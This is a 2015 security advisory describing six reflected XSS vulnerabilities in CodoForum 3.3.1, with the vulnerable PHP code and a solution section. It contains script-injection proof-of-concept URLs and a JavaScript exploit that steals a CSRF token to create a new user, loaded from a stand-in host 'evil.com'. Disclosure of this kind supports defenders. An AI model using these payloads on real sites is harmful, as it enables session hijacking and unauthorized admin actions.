CodoForum 3.3.1 Cross Site Scripting

`CodoForum 3.3.1 Multiple Cross Site Scriptings  
Security Advisory – Curesec Research Team  
Online-Reference  
http://blog.curesec.com/article/blog/CodoForum-331-Multiple-Cross-Site-Scripting-Vulnerabilities-40.html  
  
  
1. Introduction  
  
Affected Product: CodoForum 3.3.1   
Fixed in: 3.4  
Fixed Version Link:  
https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.3.4.build-19.zip  
  
Vendor Contact: [email protected]   
Vulnerability Type: Multiple Reflected XSS   
Remote Exploitable: Yes   
Reported to vendor: 07/07/2015   
Disclosed to public: 08/07/2015   
Release mode: Coordinated   
CVE: n/a   
Credits Tim Coen of Curesec GmbH   
  
2. Vulnerability Description  
  
Various components of CodoForum are vulnerable to cross site scripting.  
With this, it is possible to inject and execute arbitrary JavaScript  
code. This can for example be used by an attacker to inject a JavaScript  
keylogger, bypass CSRF protection, or perform phishing attacks.  
  
The attacks can be exploited by getting the victim to click a link or  
visit an attacker controlled website.  
XSS 1  
  
CodoForum uses version 2.1.2 of HybridAuth, which has an XSS  
vulnerability in the installation script. This vulnerability is not  
present in current versions of HybridAuth.  
  
Sample POC:  
  
http://localhost/codoforum/sys/Ext/hybridauth/install.php/"><script>alert(1)</script>  
  
Code:  
  
sys/Ext/hybridauth/install.php:316  
<li><label>HybridAuth Endpoint URL</label><input type="text"  
class="inputgnrc" value="<?php echo $GLOBAL_HYBRID_AUTH_URL_BASE; ?>"  
name="GLOBAL_HYBRID_AUTH_URL_BASE" style="min-width:600px;"></li>  
sys/Ext/hybridauth/install.php:346  
if( isset( $item["callback"] ) && $item["callback"] ){  
$provider_callback_url = '<span style="color:green">' .  
$GLOBAL_HYBRID_AUTH_URL_BASE . '?hauth.done=' . $provider . '</span>';  
}  
XSS 2, 3 & 4  
  
The page that manages users does not encode user input before echoing  
it, and is thus open to XSS. The vulnerable parameters are "username",  
"role", as well as "status".  
  
As the function retrieving POST request parameters uses GET parameters  
as fallback, it is possible to exploit this issue via POST or GET request.  
  
Sample POC:  
  
  
http://localhost/codoforum/admin/index.php?page=users&username="><script>alert(1)</script>&role=2&status=99  
  
http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2"><script>alert('xsstest')</script>&status=99  
  
http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2&status=9"><script>alert('xsstest')</script>  
  
Code:  
  
// admin/modules/users.php:261  
$role = getPost('role', '0');  
  
$smarty->assign('role_selected', (($role == '0') ? '2' : $role));  
[...]  
$filter_url.="&role=" . $role;  
[...]  
$status = getPost('status', 99);  
$smarty->assign('status_selected', $status);  
[...]  
$filter_url.="&status=" . $status;  
[...]  
$username = getPost('username', "");  
$smarty->assign('entered_username', $username);  
[...]  
$filter_url.="&username=" . $username;  
XSS 5  
  
The page that shows a list of users does not encode the "pno" argument,  
and is thus open to XSS.  
  
Sample POC:  
  
  
http://localhost/codoforum/admin/index.php?page=users&sort_order=DESC&pno=1"><script>alert(1)</script>&sort_by=status  
  
Code:  
  
admin/modules/users.php:326  
$sort_url = "index.php?page=users&sort_order=" . $isor .  
$filter_url . '&pno=' . $_GET['pno']; //put inverted link only for table  
heading  
$smarty->assign('sort_url', $sort_url);  
XSS 6  
  
The page that shows plugins does not properly encode the "plugin"  
argument, and is thus open to XSS.  
  
Sample POC:  
  
  
http://localhost/codoforum/admin/index.php?page=ploader&plugin=<script>alert(1)</script>  
  
Code:  
  
admin/modules/ploader.php:85  
<li class="active"><i class="fa fa-wrench"></i>  
'.$_GET['plugin'].'</li>  
  
3. Proof of Concept Codes:  
  
This proof of concept adds a new user by bypassing CSRF protection. In a  
similar way, the new user could be given admin rights.  
  
The script can be loaded from an external server by injecting <script  
src="http://evil.com/s.js"></script> as payload for the XSS  
vulnerabilities described above.  
  
var csrfProtectedPage =  
'http://localhost/codoforum/admin/index.php?page=users';  
  
// get valid token for current request  
var html = get(csrfProtectedPage);  
document.body.innerHTML = html;  
var form = document.getElementById('add_user_form');  
var token = form.CSRF_token.value;  
  
// build form with valid token  
document.body.innerHTML  
+= '<form id="myform" action="' + csrfProtectedPage + '"  
method="POST">'  
+ '<input type="hidden" name="CSRF_token" value="' + token +  
'">'  
+ '<input type="hidden" name="a_username" value="Jill Smith">'  
+ '<input type="hidden" name="a_email" value="[email protected]">'  
+ '<input type="hidden" name="a_password" value="12345678">'  
+ '<input type="hidden" name="a_repassword" value="12345678">'  
+ '</form>';  
  
// submit form  
document.forms["myform"].submit();  
  
function get(url) {  
var xmlHttp = new XMLHttpRequest();  
xmlHttp.open("GET", url, false);  
xmlHttp.send(null);  
return xmlHttp.responseText;  
}  
  
4. Solution  
  
Upgrade to Version 3.4:  
  
https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.3.4.build-19.zip  
  
5. Report Timeline  
  
07/07/2015 Informed Vendor about Issue  
07/07/2015 Vendor confirmation  
08/03/2015 Vendor releases Version 3.4  
08/07/2015 Disclosed to public  
  
  
`